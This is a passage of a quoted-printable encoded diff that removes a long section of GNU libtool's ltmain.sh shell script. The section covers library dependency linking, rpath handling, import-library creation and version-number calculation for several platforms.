$sys_lib_dlsearch_path " in -=09 *" $libdir "*) ;; -=09 *) -=09 case "$finalize_rpath " in -=09 *" $libdir "*) ;; -=09 *) finalize_rpath=3D"$finalize_rpath $libdir" -=09 esac -=09 ;; -=09 esac -=09 fi # $linkmode,$pass =3D prog,link... - -=09 if test "$alldeplibs" =3D yes && -=09 { test "$deplibs_check_method" =3D pass_all || -=09 { test "$build_libtool_libs" =3D yes && -=09=09 test -n "$library_names"; }; }; then -=09 # We only need to search for static libraries -=09 continue -=09 fi -=09fi - -=09link_static=3Dno # Whether the deplib will be linked statically -=09if test -n "$library_names" && -=09 { test "$prefer_static_libs" =3D no || test -z "$old_library"; }= ; then -=09 if test "$installed" =3D no; then -=09 notinst_deplibs=3D"$notinst_deplibs $lib" -=09 need_relink=3Dyes -=09 fi -=09 # This is a shared library - -=09 # Warn about portability, can't link against -module's on -=09 # some systems (darwin) -=09 if test "$shouldnotlink" =3D yes && test "$pass" =3D link ; then -=09 $echo -=09 if test "$linkmode" =3D prog; then -=09 $echo "*** Warning: Linking the executable $output against th= e loadable module" -=09 else -=09 $echo "*** Warning: Linking the shared library $output agains= t the loadable module" -=09 fi -=09 $echo "*** $linklib is not portable!" -=09 fi -=09 if test "$linkmode" =3D lib && -=09 test "$hardcode_into_libs" =3D yes; then -=09 # Hardcode the library path. -=09 # Skip directories that are in the system default run-time -=09 # search path. -=09 case " $sys_lib_dlsearch_path " in -=09 *" $absdir "*) ;; -=09 *) -=09 case "$compile_rpath " in -=09 *" $absdir "*) ;; -=09 *) compile_rpath=3D"$compile_rpath $absdir" -=09 esac -=09 ;; -=09 esac -=09 case " $sys_lib_dlsearch_path " in -=09 *" $libdir "*) ;; -=09 *) -=09 case "$finalize_rpath " in -=09 *" $libdir "*) ;; -=09 *) finalize_rpath=3D"$finalize_rpath $libdir" -=09 esac -=09 ;; -=09 esac -=09 fi - -=09 if test -n "$old_archive_from_expsyms_cmds"; then -=09 # figure out the soname -=09 set dummy $library_names -=09 realname=3D"$2" -=09 shift; shift -=09 libname=3D`eval \\$echo \"$libname_spec\"` -=09 # use dlname if we got it. it's perfectly good, no? -=09 if test -n "$dlname"; then -=09 soname=3D"$dlname" -=09 elif test -n "$soname_spec"; then -=09 # bleh windows -=09 case $host in -=09 *cygwin* | mingw*) -=09=09major=3D`expr $current - $age` -=09=09versuffix=3D"-$major" -=09=09;; -=09 esac -=09 eval soname=3D\"$soname_spec\" -=09 else -=09 soname=3D"$realname" -=09 fi - -=09 # Make a new name for the extract_expsyms_cmds to use -=09 soroot=3D"$soname" -=09 soname=3D`$echo $soroot | ${SED} -e 's/^.*\///'` -=09 newlib=3D"libimp-`$echo $soname | ${SED} 's/^lib//;s/\.dll$//'`= .a" - -=09 # If the library has no export list, then create one now -=09 if test -f "$output_objdir/$soname-def"; then : -=09 else -=09 $show "extracting exported symbol list from \`$soname'" -=09 save_ifs=3D"$IFS"; IFS=3D'~' -=09 cmds=3D$extract_expsyms_cmds -=09 for cmd in $cmds; do -=09=09IFS=3D"$save_ifs" -=09=09eval cmd=3D\"$cmd\" -=09=09$show "$cmd" -=09=09$run eval "$cmd" || exit $? -=09 done -=09 IFS=3D"$save_ifs" -=09 fi - -=09 # Create $newlib -=09 if test -f "$output_objdir/$newlib"; then :; else -=09 $show "generating import library for \`$soname'" -=09 save_ifs=3D"$IFS"; IFS=3D'~' -=09 cmds=3D$old_archive_from_expsyms_cmds -=09 for cmd in $cmds; do -=09=09IFS=3D"$save_ifs" -=09=09eval cmd=3D\"$cmd\" -=09=09$show "$cmd" -=09=09$run eval "$cmd" || exit $? -=09 done -=09 IFS=3D"$save_ifs" -=09 fi -=09 # make sure the library variables are pointing to the new libra= ry -=09 dir=3D$output_objdir -=09 linklib=3D$newlib -=09 fi # test -n "$old_archive_from_expsyms_cmds" - -=09 if test "$linkmode" =3D prog || test "$mode" !=3D relink; then -=09 add_shlibpath=3D -=09 add_dir=3D -=09 add=3D -=09 lib_linked=3Dyes -=09 case $hardcode_action in -=09 immediate | unsupported) -=09 if test "$hardcode_direct" =3D no; then -=09=09add=3D"$dir/$linklib" -=09=09case $host in -=09=09 *-*-sco3.2v5* ) add_dir=3D"-L$dir" ;; -=09=09 *-*-darwin* ) -=09=09 # if the lib is a module then we can not link against -=09=09 # it, someone is ignoring the new warnings I added -=09=09 if /usr/bin/file -L $add 2> /dev/null | $EGREP "bundle" >/de= v/null ; then -=09=09 $echo "** Warning, lib $linklib is a module, not a shared = library" -=09=09 if test -z "$old_library" ; then -=09=09 $echo -=09=09 $echo "** And there doesn't seem to be a static archive = available" -=09=09 $echo "** The link will probably fail, sorry" -=09=09 else -=09=09 add=3D"$dir/$old_library" -=09=09 fi -=09=09 fi -=09=09esac -=09 elif test "$hardcode_minus_L" =3D no; then -=09=09case $host in -=09=09*-*-sunos*) add_shlibpath=3D"$dir" ;; -=09=09esac -=09=09add_dir=3D"-L$dir" -=09=09add=3D"-l$name" -=09 elif test "$hardcode_shlibpath_var" =3D no; then -=09=09add_shlibpath=3D"$dir" -=09=09add=3D"-l$name" -=09 else -=09=09lib_linked=3Dno -=09 fi -=09 ;; -=09 relink) -=09 if test "$hardcode_direct" =3D yes; then -=09=09add=3D"$dir/$linklib" -=09 elif test "$hardcode_minus_L" =3D yes; then -=09=09add_dir=3D"-L$dir" -=09=09# Try looking first in the location we're being installed to. -=09=09if test -n "$inst_prefix_dir"; then -=09=09 case "$libdir" in -=09=09 [\\/]*) -=09=09 add_dir=3D"$add_dir -L$inst_prefix_dir$libdir" -=09=09 ;; -=09=09 esac -=09=09fi -=09=09add=3D"-l$name" -=09 elif test "$hardcode_shlibpath_var" =3D yes; then -=09=09add_shlibpath=3D"$dir" -=09=09add=3D"-l$name" -=09 else -=09=09lib_linked=3Dno -=09 fi -=09 ;; -=09 *) lib_linked=3Dno ;; -=09 esac - -=09 if test "$lib_linked" !=3D yes; then -=09 $echo "$modename: configuration error: unsupported hardcode p= roperties" -=09 exit $EXIT_FAILURE -=09 fi - -=09 if test -n "$add_shlibpath"; then -=09 case :$compile_shlibpath: in -=09 *":$add_shlibpath:"*) ;; -=09 *) compile_shlibpath=3D"$compile_shlibpath$add_shlibpath:" ;; -=09 esac -=09 fi -=09 if test "$linkmode" =3D prog; then -=09 test -n "$add_dir" && compile_deplibs=3D"$add_dir $compile_de= plibs" -=09 test -n "$add" && compile_deplibs=3D"$add $compile_deplibs" -=09 else -=09 test -n "$add_dir" && deplibs=3D"$add_dir $deplibs" -=09 test -n "$add" && deplibs=3D"$add $deplibs" -=09 if test "$hardcode_direct" !=3D yes && \ -=09=09 test "$hardcode_minus_L" !=3D yes && \ -=09=09 test "$hardcode_shlibpath_var" =3D yes; then -=09=09case :$finalize_shlibpath: in -=09=09*":$libdir:"*) ;; -=09=09*) finalize_shlibpath=3D"$finalize_shlibpath$libdir:" ;; -=09=09esac -=09 fi -=09 fi -=09 fi - -=09 if test "$linkmode" =3D prog || test "$mode" =3D relink; then -=09 add_shlibpath=3D -=09 add_dir=3D -=09 add=3D -=09 # Finalize command for both is simple: just hardcode it. -=09 if test "$hardcode_direct" =3D yes; then -=09 add=3D"$libdir/$linklib" -=09 elif test "$hardcode_minus_L" =3D yes; then -=09 add_dir=3D"-L$libdir" -=09 add=3D"-l$name" -=09 elif test "$hardcode_shlibpath_var" =3D yes; then -=09 case :$finalize_shlibpath: in -=09 *":$libdir:"*) ;; -=09 *) finalize_shlibpath=3D"$finalize_shlibpath$libdir:" ;; -=09 esac -=09 add=3D"-l$name" -=09 elif test "$hardcode_automatic" =3D yes; then -=09 if test -n "$inst_prefix_dir" && -=09=09 test -f "$inst_prefix_dir$libdir/$linklib" ; then -=09 add=3D"$inst_prefix_dir$libdir/$linklib" -=09 else -=09 add=3D"$libdir/$linklib" -=09 fi -=09 else -=09 # We cannot seem to hardcode it, guess we'll fake it. -=09 add_dir=3D"-L$libdir" -=09 # Try looking first in the location we're being installed to. -=09 if test -n "$inst_prefix_dir"; then -=09=09case "$libdir" in -=09=09 [\\/]*) -=09=09 add_dir=3D"$add_dir -L$inst_prefix_dir$libdir" -=09=09 ;; -=09=09esac -=09 fi -=09 add=3D"-l$name" -=09 fi - -=09 if test "$linkmode" =3D prog; then -=09 test -n "$add_dir" && finalize_deplibs=3D"$add_dir $finalize_= deplibs" -=09 test -n "$add" && finalize_deplibs=3D"$add $finalize_deplibs" -=09 else -=09 test -n "$add_dir" && deplibs=3D"$add_dir $deplibs" -=09 test -n "$add" && deplibs=3D"$add $deplibs" -=09 fi -=09 fi -=09elif test "$linkmode" =3D prog; then -=09 # Here we assume that one of hardcode_direct or hardcode_minus_L -=09 # is not unsupported. This is valid on all known static and -=09 # shared platforms. -=09 if test "$hardcode_direct" !=3D unsupported; then -=09 test -n "$old_library" && linklib=3D"$old_library" -=09 compile_deplibs=3D"$dir/$linklib $compile_deplibs" -=09 finalize_deplibs=3D"$dir/$linklib $finalize_deplibs" -=09 else -=09 compile_deplibs=3D"-l$name -L$dir $compile_deplibs" -=09 finalize_deplibs=3D"-l$name -L$dir $finalize_deplibs" -=09 fi -=09elif test "$build_libtool_libs" =3D yes; then -=09 # Not a shared library -=09 if test "$deplibs_check_method" !=3D pass_all; then -=09 # We're trying link a shared library against a static one -=09 # but the system doesn't support it. - -=09 # Just print a warning and add the library to dependency_libs s= o -=09 # that the program can be linked against the static library. -=09 $echo -=09 $echo "*** Warning: This system can not link to static lib arch= ive $lib." -=09 $echo "*** I have the capability to make that library automatic= ally link in when" -=09 $echo "*** you link to this library. But I can only do this if= you have a" -=09 $echo "*** shared version of the library, which you do not appe= ar to have." -=09 if test "$module" =3D yes; then -=09 $echo "*** But as you try to build a module library, libtool = will still create " -=09 $echo "*** a static module, that should work as long as the d= lopening application" -=09 $echo "*** is linked with the -dlopen flag to resolve symbols= at runtime." -=09 if test -z "$global_symbol_pipe"; then -=09=09$echo -=09=09$echo "*** However, this would only work if libtool was able to = extract symbol" -=09=09$echo "*** lists from a program, using \`nm' or equivalent, but = libtool could" -=09=09$echo "*** not find such a program. So, this module is probably= useless." -=09=09$echo "*** \`nm' from GNU binutils and a full rebuild may help." -=09 fi -=09 if test "$build_old_libs" =3D no; then -=09=09build_libtool_libs=3Dmodule -=09=09build_old_libs=3Dyes -=09 else -=09=09build_libtool_libs=3Dno -=09 fi -=09 fi -=09 else -=09 convenience=3D"$convenience $dir/$old_library" -=09 old_convenience=3D"$old_convenience $dir/$old_library" -=09 deplibs=3D"$dir/$old_library $deplibs" -=09 link_static=3Dyes -=09 fi -=09fi # link shared/static library? - -=09if test "$linkmode" =3D lib; then -=09 if test -n "$dependency_libs" && -=09 { test "$hardcode_into_libs" !=3D yes || -=09 test "$build_old_libs" =3D yes || -=09 test "$link_static" =3D yes; }; then -=09 # Extract -R from dependency_libs -=09 temp_deplibs=3D -=09 for libdir in $dependency_libs; do -=09 case $libdir in -=09 -R*) temp_xrpath=3D`$echo "X$libdir" | $Xsed -e 's/^-R//'` -=09=09 case " $xrpath " in -=09=09 *" $temp_xrpath "*) ;; -=09=09 *) xrpath=3D"$xrpath $temp_xrpath";; -=09=09 esac;; -=09 *) temp_deplibs=3D"$temp_deplibs $libdir";; -=09 esac -=09 done -=09 dependency_libs=3D"$temp_deplibs" -=09 fi - -=09 newlib_search_path=3D"$newlib_search_path $absdir" -=09 # Link against this library -=09 test "$link_static" =3D no && newdependency_libs=3D"$abs_ladir/$l= aname $newdependency_libs" -=09 # ... and its dependency_libs -=09 tmp_libs=3D -=09 for deplib in $dependency_libs; do -=09 newdependency_libs=3D"$deplib $newdependency_libs" -=09 if test "X$duplicate_deps" =3D "Xyes" ; then -=09 case "$tmp_libs " in -=09 *" $deplib "*) specialdeplibs=3D"$specialdeplibs $deplib" ;; -=09 esac -=09 fi -=09 tmp_libs=3D"$tmp_libs $deplib" -=09 done - -=09 if test "$link_all_deplibs" !=3D no; then -=09 # Add the search paths of all dependency libraries -=09 for deplib in $dependency_libs; do -=09 case $deplib in -=09 -L*) path=3D"$deplib" ;; -=09 *.la) -=09=09dir=3D`$echo "X$deplib" | $Xsed -e 's%/[^/]*$%%'` -=09=09test "X$dir" =3D "X$deplib" && dir=3D"." -=09=09# We need an absolute path. -=09=09case $dir in -=09=09[\\/]* | [A-Za-z]:[\\/]*) absdir=3D"$dir" ;; -=09=09*) -=09=09 absdir=3D`cd "$dir" && pwd` -=09=09 if test -z "$absdir"; then -=09=09 $echo "$modename: warning: cannot determine absolute directo= ry name of \`$dir'" 1>&2 -=09=09 absdir=3D"$dir" -=09=09 fi -=09=09 ;; -=09=09esac -=09=09if grep "^installed=3Dno" $deplib > /dev/null; then -=09=09 path=3D"$absdir/$objdir" -=09=09else -=09=09 eval libdir=3D`${SED} -n -e 's/^libdir=3D\(.*\)$/\1/p' $deplib= ` -=09=09 if test -z "$libdir"; then -=09=09 $echo "$modename: \`$deplib' is not a valid libtool archive"= 1>&2 -=09=09 exit $EXIT_FAILURE -=09=09 fi -=09=09 if test "$absdir" !=3D "$libdir"; then -=09=09 $echo "$modename: warning: \`$deplib' seems to be moved" 1>&= 2 -=09=09 fi -=09=09 path=3D"$absdir" -=09=09fi -=09=09depdepl=3D -=09=09case $host in -=09=09*-*-darwin*) -=09=09 # we do not want to link against static libs, -=09=09 # but need to link against shared -=09=09 eval deplibrary_names=3D`${SED} -n -e 's/^library_names=3D\(.*= \)$/\1/p' $deplib` -=09=09 if test -n "$deplibrary_names" ; then -=09=09 for tmp in $deplibrary_names ; do -=09=09 depdepl=3D$tmp -=09=09 done -=09=09 if test -f "$path/$depdepl" ; then -=09=09 depdepl=3D"$path/$depdepl" -=09=09 fi -=09=09 # do not add paths which are already there -=09=09 case " $newlib_search_path " in -=09=09 *" $path "*) ;; -=09=09 *) newlib_search_path=3D"$newlib_search_path $path";; -=09=09 esac -=09=09 fi -=09=09 path=3D"" -=09=09 ;; -=09=09*) -=09=09 path=3D"-L$path" -=09=09 ;; -=09=09esac -=09=09;; -=09 -l*) -=09=09case $host in -=09=09*-*-darwin*) -=09=09 # Again, we only want to link against shared libraries -=09=09 eval tmp_libs=3D`$echo "X$deplib" | $Xsed -e "s,^\-l,,"` -=09=09 for tmp in $newlib_search_path ; do -=09=09 if test -f "$tmp/lib$tmp_libs.dylib" ; then -=09=09 eval depdepl=3D"$tmp/lib$tmp_libs.dylib" -=09=09 break -=09=09 fi -=09=09 done -=09=09 path=3D"" -=09=09 ;; -=09=09*) continue ;; -=09=09esac -=09=09;; -=09 *) continue ;; -=09 esac -=09 case " $deplibs " in -=09 *" $depdepl "*) ;; -=09 *) deplibs=3D"$depdepl $deplibs" ;; -=09 esac -=09 case " $deplibs " in -=09 *" $path "*) ;; -=09 *) deplibs=3D"$deplibs $path" ;; -=09 esac -=09 done -=09 fi # link_all_deplibs !=3D no -=09fi # linkmode =3D lib - done # for deplib in $libs - dependency_libs=3D"$newdependency_libs" - if test "$pass" =3D dlpreopen; then -=09# Link the dlpreopened libraries before other libraries -=09for deplib in $save_deplibs; do -=09 deplibs=3D"$deplib $deplibs" -=09done - fi - if test "$pass" !=3D dlopen; then -=09if test "$pass" !=3D conv; then -=09 # Make sure lib_search_path contains only unique directories. -=09 lib_search_path=3D -=09 for dir in $newlib_search_path; do -=09 case "$lib_search_path " in -=09 *" $dir "*) ;; -=09 *) lib_search_path=3D"$lib_search_path $dir" ;; -=09 esac -=09 done -=09 newlib_search_path=3D -=09fi - -=09if test "$linkmode,$pass" !=3D "prog,link"; then -=09 vars=3D"deplibs" -=09else -=09 vars=3D"compile_deplibs finalize_deplibs" -=09fi -=09for var in $vars dependency_libs; do -=09 # Add libraries to $var in reverse order -=09 eval tmp_libs=3D\"\$$var\" -=09 new_libs=3D -=09 for deplib in $tmp_libs; do -=09 # FIXME: Pedantically, this is the right thing to do, so -=09 # that some nasty dependency loop isn't accidentally -=09 # broken: -=09 #new_libs=3D"$deplib $new_libs" -=09 # Pragmatically, this seems to cause very few problems in -=09 # practice: -=09 case $deplib in -=09 -L*) new_libs=3D"$deplib $new_libs" ;; -=09 -R*) ;; -=09 *) -=09 # And here is the reason: when a library appears more -=09 # than once as an explicit dependence of a library, or -=09 # is implicitly linked in more than once by the -=09 # compiler, it is considered special, and multiple -=09 # occurrences thereof are not removed. Compare this -=09 # with having the same library being listed as a -=09 # dependency of multiple other libraries: in this case, -=09 # we know (pedantically, we assume) the library does not -=09 # need to be listed more than once, so we keep only the -=09 # last copy. This is not always right, but it is rare -=09 # enough that we require users that really mean to play -=09 # such unportable linking tricks to link the library -=09 # using -Wl,-lname, so that libtool does not consider it -=09 # for duplicate removal. -=09 case " $specialdeplibs " in -=09 *" $deplib "*) new_libs=3D"$deplib $new_libs" ;; -=09 *) -=09=09case " $new_libs " in -=09=09*" $deplib "*) ;; -=09=09*) new_libs=3D"$deplib $new_libs" ;; -=09=09esac -=09=09;; -=09 esac -=09 ;; -=09 esac -=09 done -=09 tmp_libs=3D -=09 for deplib in $new_libs; do -=09 case $deplib in -=09 -L*) -=09 case " $tmp_libs " in -=09 *" $deplib "*) ;; -=09 *) tmp_libs=3D"$tmp_libs $deplib" ;; -=09 esac -=09 ;; -=09 *) tmp_libs=3D"$tmp_libs $deplib" ;; -=09 esac -=09 done -=09 eval $var=3D\"$tmp_libs\" -=09done # for var - fi - # Last step: remove runtime libs from dependency_libs - # (they stay in deplibs) - tmp_libs=3D - for i in $dependency_libs ; do -=09case " $predeps $postdeps $compiler_lib_search_path " in -=09*" $i "*) -=09 i=3D"" -=09 ;; -=09esac -=09if test -n "$i" ; then -=09 tmp_libs=3D"$tmp_libs $i" -=09fi - done - dependency_libs=3D$tmp_libs - done # for pass - if test "$linkmode" =3D prog; then - dlfiles=3D"$newdlfiles" - dlprefiles=3D"$newdlprefiles" - fi - - case $linkmode in - oldlib) - if test -n "$deplibs"; then -=09$echo "$modename: warning: \`-l' and \`-L' are ignored for archives= " 1>&2 - fi - - if test -n "$dlfiles$dlprefiles" || test "$dlself" !=3D no; then -=09$echo "$modename: warning: \`-dlopen' is ignored for archives" 1>&2 - fi - - if test -n "$rpath"; then -=09$echo "$modename: warning: \`-rpath' is ignored for archives" 1>&2 - fi - - if test -n "$xrpath"; then -=09$echo "$modename: warning: \`-R' is ignored for archives" 1>&2 - fi - - if test -n "$vinfo"; then -=09$echo "$modename: warning: \`-version-info/-version-number' is igno= red for archives" 1>&2 - fi - - if test -n "$release"; then -=09$echo "$modename: warning: \`-release' is ignored for archives" 1>&= 2 - fi - - if test -n "$export_symbols" || test -n "$export_symbols_regex";= then -=09$echo "$modename: warning: \`-export-symbols' is ignored for archiv= es" 1>&2 - fi - - # Now set the variables for building old libraries. - build_libtool_libs=3Dno - oldlibs=3D"$output" - objs=3D"$objs$old_deplibs" - ;; - - lib) - # Make sure we only generate libraries of the form `libNAME.la'. - case $outputname in - lib*) -=09name=3D`$echo "X$outputname" | $Xsed -e 's/\.la$//' -e 's/^lib//'` -=09eval shared_ext=3D\"$shrext_cmds\" -=09eval libname=3D\"$libname_spec\" -=09;; - *) -=09if test "$module" =3D no; then -=09 $echo "$modename: libtool library \`$output' must begin with \`li= b'" 1>&2 -=09 $echo "$help" 1>&2 -=09 exit $EXIT_FAILURE -=09fi -=09if test "$need_lib_prefix" !=3D no; then -=09 # Add the "lib" prefix for modules if required -=09 name=3D`$echo "X$outputname" | $Xsed -e 's/\.la$//'` -=09 eval shared_ext=3D\"$shrext_cmds\" -=09 eval libname=3D\"$libname_spec\" -=09else -=09 libname=3D`$echo "X$outputname" | $Xsed -e 's/\.la$//'` -=09fi -=09;; - esac - - if test -n "$objs"; then -=09if test "$deplibs_check_method" !=3D pass_all; then -=09 $echo "$modename: cannot build libtool library \`$output' from no= n-libtool objects on this host:$objs" 2>&1 -=09 exit $EXIT_FAILURE -=09else -=09 $echo -=09 $echo "*** Warning: Linking the shared library $output against th= e non-libtool" -=09 $echo "*** objects $objs is not portable!" -=09 libobjs=3D"$libobjs $objs" -=09fi - fi - - if test "$dlself" !=3D no; then -=09$echo "$modename: warning: \`-dlopen self' is ignored for libtool l= ibraries" 1>&2 - fi - - set dummy $rpath - if test "$#" -gt 2; then -=09$echo "$modename: warning: ignoring multiple \`-rpath's for a libto= ol library" 1>&2 - fi - install_libdir=3D"$2" - - oldlibs=3D - if test -z "$rpath"; then -=09if test "$build_libtool_libs" =3D yes; then -=09 # Building a libtool convenience library. -=09 # Some compilers have problems with a `.al' extension so -=09 # convenience libraries should have the same extension an -=09 # archive normally would. -=09 oldlibs=3D"$output_objdir/$libname.$libext $oldlibs" -=09 build_libtool_libs=3Dconvenience -=09 build_old_libs=3Dyes -=09fi - -=09if test -n "$vinfo"; then -=09 $echo "$modename: warning: \`-version-info/-version-number' is ig= nored for convenience libraries" 1>&2 -=09fi - -=09if test -n "$release"; then -=09 $echo "$modename: warning: \`-release' is ignored for convenience= libraries" 1>&2 -=09fi - else - -=09# Parse the version information argument. -=09save_ifs=3D"$IFS"; IFS=3D':' -=09set dummy $vinfo 0 0 0 -=09IFS=3D"$save_ifs" - -=09if test -n "$8"; then -=09 $echo "$modename: too many parameters to \`-version-info'" 1>&2 -=09 $echo "$help" 1>&2 -=09 exit $EXIT_FAILURE -=09fi - -=09# convert absolute version numbers to libtool ages -=09# this retains compatibility with .la files and attempts -=09# to make the code below a bit more comprehensible - -=09case $vinfo_number in -=09yes) -=09 number_major=3D"$2" -=09 number_minor=3D"$3" -=09 number_revision=3D"$4" -=09 # -=09 # There are really only two kinds -- those that -=09 # use the current revision as the major version -=09 # and those that subtract age and use age as -=09 # a minor version. But, then there is irix -=09 # which has an extra 1 added just for fun -=09 # -=09 case $version_type in -=09 darwin|linux|osf|windows) -=09 current=3D`expr $number_major + $number_minor` -=09 age=3D"$number_minor" -=09 revision=3D"$number_revision" -=09 ;; -=09 freebsd-aout|freebsd-elf|sunos) -=09 current=3D"$number_major" -=09 revision=3D"$number_minor" -=09 age=3D"0" -=09 ;; -=09 irix|nonstopux) -=09 current=3D`expr $number_major + $number_minor - 1` -=09 age=3D"$number_minor" -=09 revision=3D"$number_minor" -=09 ;; -=09 esac -=09 ;; -=09no) -=09 current=3D"$2" -=09 revision=3D"$3" -=09 age=3D"$4" -=09 ;; -=09esac - -=09# Check that each of the things are valid numbers. -=09case $current in -=090 | [1-9] | [1-9][0-9] | [1-9][0-9][0-9]) ;; -=09*) -=09 $echo "$modename: CURRENT \`$current' is not a nonnegative intege= r" 1>&2 -=09 $echo "$modename: \`$vinfo' is not valid version information" 1>&= 2 -=09 exit $EXIT_FAILURE -=09 ;; -=09esac - -=09case $revision in -=090 | [1-9] | [1-9][0-9] | [1-9][0-9][0-9]) ;; -=09*) -=09 $echo "$modename: REVISION \`$revision' is not a nonnegative inte= ger" 1>&2 -=09 $echo "$modename: \`$vinfo' is not valid version information" 1>&= 2 -=09 exit $EXIT_FAILURE -=09 ;; -=09esac - -=09case $age in -=090 | [1-9] | [1-9][0-9] | [1-9][0-9][0-9]) ;; -=09*) -=09 $echo "$modename: AGE \`$age' is not a nonnegative integer" 1>&2 -=09 $echo "$modename: \`$vinfo' is not valid version information" 1>&= 2 -=09 exit $EXIT_FAILURE -=09 ;; -=09esac - -=09if test "$age" -gt "$current"; then -=09 $echo "$modename: AGE \`$age' is greater than the current interfa= ce number \`$current'" 1>&2 -=09 $echo "$modename: \`$vinfo' is not valid version information" 1>&= 2 -=09 exit $EXIT_FAILURE -=09fi - -=09# Calculate the version variables. -=09major=3D -=09versuffix=3D -=09verstring=3D -=09case $version_type in -=09none) ;; - -=09darwin) -=09 # Like Linux, but with the current version available in -=09 # verstring for coding it into the library header -=09 major=3D.`expr $current - $age` -=09 versuffix=3D"$major.$age.$revision" -=09 # Darwin ld doesn't like 0 for these options... -=09 minor_current=3D`expr $current + 1` -=09 verstring=3D"${wl}-compatibility_version ${wl}$minor_current ${wl= }-current_version ${wl}$minor_current.$revision" -=09 ;; - -=09freebsd-aout) -=09 major=3D".$current" -=09 versuffix=3D".$current.$revision"; -=09 ;; - -=09freebsd-elf) -=09 major=3D".$current" -=09 versuffix=3D".$current"; -=09 ;; - -=09irix | nonstopux) -=09 major=3D`expr $current - $age + 1` - -=09 case $version_type in -=09 nonstopux) verstring_prefix=3Dnonstopux ;; -=09 *) verstring_prefix=3Dsgi ;; -=09 esac -=09 verstring=3D"$verstring_prefix$major.$revision" - -=09 # Add in all the interfaces that we are compatible with. -=09 loop=3D$revision -=09 while test "$loop" -ne 0; do -=09 iface=3D`expr $revision - $loop` -=09 loop=3D`expr $loop - 1` -=09 verstring=3D"$verstring_prefix$major.$iface:$verstring" -=09 done - -=09 # Before this point, $major must not contain `.'. -=09 major=3D.$major -=09 versuffix=3D"$major.$revision" -=09 ;; - -=09linux) -=09 major=3D.`expr $current - $age` -=09 versuffix=3D"$major.$age.$revision" -=09 ;; - -=09osf) -=09 major=3D.`expr $current - $age` -=09 versuffix=3D".$current.$age.$revision" -=09 verstring=3D"$current.$age.$revision" - -=09 # Add in all the interfaces that we are compatible with. -=09 loop=3D$age -=09 while test "$loop" -ne 0; do -=09 iface=3D`expr $current - $loop` -=09 loop=3D`expr $loop - 1` -=09 verstring=3D"$verstring:${iface}.0" -=09 done - -=09 # Make executables depend on our current version. -=09 verstring=3D"$verstring:${current}.0" -=09 ;; - -=09sunos) -=09 major=3D".$current" -=09 versuffix=3D".$current.$revision" -=09 ;; - -=09windows) -=09 # Use '-' rather than '.', since we only want one -=09 # extension on DOS 8.3 filesystems. -=09 major=3D`expr $current - $age` -=09 versuffix=3D"-$major" -=09 ;; - -=09*) -=09 $echo "$modename: unknown library version type \`$version_type'" = 1>&2 -=09 $echo "Fatal configuration error. See the $PACKAGE docs for more= information." 1>&2 -=09 exit $EXIT_FAILURE -=09 ;; -=09esac - -=09# Clear the version info if we defaulted, and they specified a rele= ase. -=09if test -z "$vinfo" && test -n "$release"; then -=09 major=3D -=09 case $version_type in -=09 darwin) -=09 # we can't check for "0.0" in archive_cmds due to quoting -=09 # problems, so we reset it completely -=09 verstring=3D -=09 ;; -=09 *) -=09 verstring=3D"0.0" -=09 ;; -=09 esac -=09 if test "$need_version" =3D no; then -=09 versuffix=3D -=09 else -=09 versuffix=3D".0.0" -=09 fi -=09fi - -=09# Remove version info from name if versioning should be avoided -=09if test "$avoid_version" =3D yes && test "$need_version" =3D no; th= en -=09 major=3D -=09 versuffix=3D -=09 verstring=3D"" -=09fi - -=09# Check to see if the archive will have undefined symbols. -=09if test "$allow_undefined" =3D yes; then -=09 if test "$allow_undefined_flag" =3D unsupported; then -=09 $echo "$modename: warning: undefined symbols not allowed in $ho= st shared libraries" 1>&2 -=09 build_libtool_libs=3Dno -=09 build_old_libs=3Dyes -=09 fi -=09else -=09 # Don't allow undefined symbols. -=09 allow_undefined_flag=3D"$no_undefined_flag" -=09fi - fi - - if test "$mode" !=3D relink; then -=09# Remove our outputs, but don't remove object files since they -=09# may have been created when compiling PIC objects. -=09removelist=3D -=09tempremovelist=3D`$echo "$output_objdir/*"` -=09for p in $tempremovelist; do -=09 case $p in -=09 *.$objext) -=09 ;; -=09 $output_objdir/$outputname | $output_objdir/$libname.* | $outpu= t_objdir/${libname}${release}.*) -=09 if test "X$precious_files_regex" !=3D "X"; then -=09 if echo $p | $EGREP -e "$precious_files_regex" >/dev/null = 2>&1 -=09 then -=09=09 continue -=09=09 fi -=09 fi -=09 removelist=3D"$removelist $p" -=09 ;; -=09 *) ;; -=09 esac -=09done -=09if test -n "$removelist"; then -=09 $show "${rm}r $removelist" -=09 $run ${rm}r $removelist -=09fi - fi - - # Now set the variables for building old libraries. - if test "$build_old_libs" =3D yes && test "$build_libtool_libs" = !=3D convenience ; then -=09oldlibs=3D"$oldlibs $output_objdir/$libname.$libext" - -=09# Transform .lo files to .o files. -=09oldobjs=3D"$objs "`$echo "X$libobjs" | $SP2NL | $Xsed -e '/\.'${lib= ext}'$/d' -e "$lo2o" | $NL2SP` - fi - - # Eliminate all temporary directories. - for path in $notinst_path; do -=09lib_search_path=3D`$echo "$lib_search_path " | ${SED} -e 's% $path = % %g'` -=09deplibs=3D`$echo "$deplibs " | ${SED} -e 's% -L$path % %g'` -=09dependency_libs=3D`$echo "$dependency_libs " | ${SED} -e 's% -L$pat= h % %g'` - done - - if test -n "$xrpath"; then -=09# If the user specified any rpath flags, then add them. -=09temp_xrpath=3D -=09for libdir in $xrpath; do -=09 temp_xrpath=3D"$temp_xrpath -R$libdir" -=09 case "$finalize_rpath " in -=09 *" $libdir "*) ;; -=09 *) finalize_rpath=3D"$finalize_rpath $libdir" ;; -=09 esac -=09done -=09if test "$hardcode_into_libs" !=3D yes || test "$build_old_libs" = =3D yes; then -=09 dependency_libs=3D"$temp_xrpath $dependency_libs" -=09fi - fi - - # Make sure dlfiles contains only unique files that won't be dlp= reopened - old_dlfiles=3D"$dlfiles" - dlfiles=3D - for lib in $old_dlfiles; do -=09case " $dlprefiles $dlfiles " in -=09*" $lib "*) ;; -=09*) dlfiles=3D"$dlfiles $lib" ;; -=09esac - done - - # Make sure dlprefiles contains only unique files - old_dlprefiles=3D"$dlprefiles" - dlprefiles=3D - for lib in $old_dlprefiles; do -=09case "$dlprefiles " in -=09*" $lib "*) ;; -=09*) dlprefiles=3D"$dlprefiles $lib" ;; -=09esac - done - - if test "$build_libtool_libs" =3D yes; then -=09if test -n "$rpath"; then -=09 case $host in -=09 *-*-cygwin* | *-*-mingw* | *-*-pw32* | *-*-os2* | *-*-beos*) -=09 # these systems don't actually have a c library (as such)! -=09 ;; -=09 *-*-rhapsody* | *-*-darwin1.[012]) -=09 # Rhapsody C library is in the System framework -=09 deplibs=3D"$deplibs -framework System" -=09 ;; 